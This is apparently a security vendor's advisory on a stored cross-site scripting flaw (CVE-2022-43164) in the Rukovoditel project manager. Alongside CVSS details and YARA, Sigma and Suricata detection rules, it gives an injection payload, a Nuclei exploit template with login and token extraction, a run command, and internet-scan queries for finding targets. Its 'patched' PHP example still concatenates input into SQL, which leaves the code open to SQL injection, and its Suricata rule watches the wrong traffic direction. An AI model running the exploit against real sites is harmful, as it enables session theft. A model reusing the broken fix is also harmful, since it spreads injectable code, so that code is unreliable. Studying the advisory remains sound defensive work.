CVE-2022-43164

Executive Summary

CVE-2022-43164 is a stored cross-site scripting (XSS) vulnerability discovered in Rukovoditel v3.2.1, a project management application. The flaw resides in the Global Lists feature, specifically within the /index.php?module=global_lists/lists endpoint. An authenticated attacker can inject arbitrary web scripts or HTML into the Name parameter when adding a new list. This payload is then stored and executed in the browsers of other users who view the affected list, leading to potential data theft, session hijacking, or application defacement.

The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a network attack vector, low attack complexity, and required user interaction. The EPSS score is 0.05971 (0.90687 percentile), indicating a moderate probability of exploitation in the wild. A public Nuclei template is available, confirming the exploitability of this issue.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and does not involve a software supply chain component. It is a direct vulnerability in the Rukovoditel application source code.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – The attacker must be authenticated with a valid user account.
• User Interaction (UI): Required (R) – The victim must interact with the malicious list (e.g., view it).
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the availability of a public exploit template and the lack of a vendor patch increase the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Global Lists feature. The application fails to sanitize user input in the Name parameter when creating a new list. The input is stored in the database and later rendered in the browser without proper encoding or escaping.

Attack Flow:

1. An authenticated attacker navigates to /index.php?module=global_lists/lists.
2. The attacker clicks "Add" and injects a malicious payload (e.g., <script>alert(document.domain)</script>) into the Name field.
3. The application stores the payload in the database.
4. When another user (or the same user) views the list, the payload is executed in their browser context.

Root Cause: The application does not implement output encoding or input validation for the Name parameter. The stored data is rendered as HTML without sanitization, allowing arbitrary script execution.

Impact: An attacker can steal session cookies, redirect users to malicious sites, perform actions on behalf of the victim, or deface the application interface.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel v3.2.1): The vulnerable code likely resides in the list creation handler. A simplified example of the vulnerable PHP code might look like:

// Vulnerable: Directly stores and outputs user input without sanitization
$name = $_POST['name'];
$sql = "INSERT INTO global_lists (name) VALUES ('$name')";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<div>" . $row['name'] . "</div>";

Patched Code (Hypothetical): A patched version would sanitize the input and encode the output:

// Patched: Sanitize input and encode output
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO global_lists (name) VALUES ('$name')";
mysqli_query($conn, $sql);
// When displaying:
echo "<div>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</div>";

Note: No official patch has been released by the vendor. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid user account on the target Rukovoditel instance.
• Network access to the application.

Exploitation Steps:

1. Log in to the Rukovoditel application.
2. Navigate to /index.php?module=global_lists/lists.
3. Click "Add" and inject the following payload into the Name field:

   <script>alert(document.domain)</script>
   

4. Submit the form.
5. When any user views the list, the script executes.

Automated Exploitation (Nuclei): The provided Nuclei template automates the process. It first logs in, extracts the CSRF token, and then sends the malicious payload.

id: CVE-2022-43164

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Global Lists feature (/index.php?module=global_lists/lists) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the vendor-provided patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/4
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43164
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43164
    cwe-id: CWE-79
    epss-score: 0.05971
    epss-percentile: 0.90687
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=global_lists/lists&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&notes=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

Usage:

nuclei -t CVE-2022-43164.yaml -u http://target.com -var username=admin -var password=password

Blue Team (Defensive)

Detection:

• Monitor web application logs for POST requests to /index.php?module=global_lists/lists&action=save with suspicious name parameters containing HTML tags or JavaScript.
• Look for unusual patterns in the name field, such as <script>, <img>, or onerror attributes.

Hunting:

• Search the database for stored XSS payloads in the global_lists table.
• Use the following SQL query to identify potential malicious entries:

  SELECT * FROM global_lists WHERE name LIKE '%<script>%' OR name LIKE '%onerror%' OR name LIKE '%javascript:%';
  

Mitigation:

• Implement input validation and output encoding for all user-supplied data.
• Apply a Web Application Firewall (WAF) rule to block XSS payloads in the name parameter.
• Restrict access to the Global Lists feature to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST request to /index.php?module=global_lists/lists&action=save with a name parameter containing HTML/JavaScript.
  • HTTP responses containing <script>alert(document.domain)</script> or similar payloads.

• Host IOCs:

  • Database entries in the global_lists table with name fields containing <script> tags.
  • Web server logs showing repeated attempts to inject XSS payloads.

• File IOCs:

  • No specific file-based IOCs; the vulnerability is data-driven.

Detection Engineering

YARA Rule

rule CVE_2022_43164_Rukovoditel_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel Global Lists"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-43164"
        severity = "medium"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-43164 - Stored XSS in Rukovoditel Global Lists
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel v3.2.1
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43164
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/index.php?module=global_lists/lists&action=save'
        cs-uri-query|contains|all:
            - 'name='
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of HTML in list names (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-43164 - Stored XSS in Rukovoditel Global Lists";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php?module=global_lists/lists&action=save";
    http_uri;
    content:"name=";
    http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    reference:cve,2022-43164;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. Input Validation: Implement server-side validation to reject HTML tags in the name parameter.
3. Output Encoding: Use htmlspecialchars() or equivalent to encode all output from the database.
4. WAF Rules: Deploy a Web Application Firewall with rules to block XSS payloads.

Long-Term Recommendations:

• Conduct a security audit of the application to identify similar vulnerabilities.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
• Enforce principle of least privilege for user accounts.

Vendor Contact: Since no patch is available, consider reaching out to the vendor or migrating to an alternative solution.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 6CC7A20D148C088FE48B5F0B] */}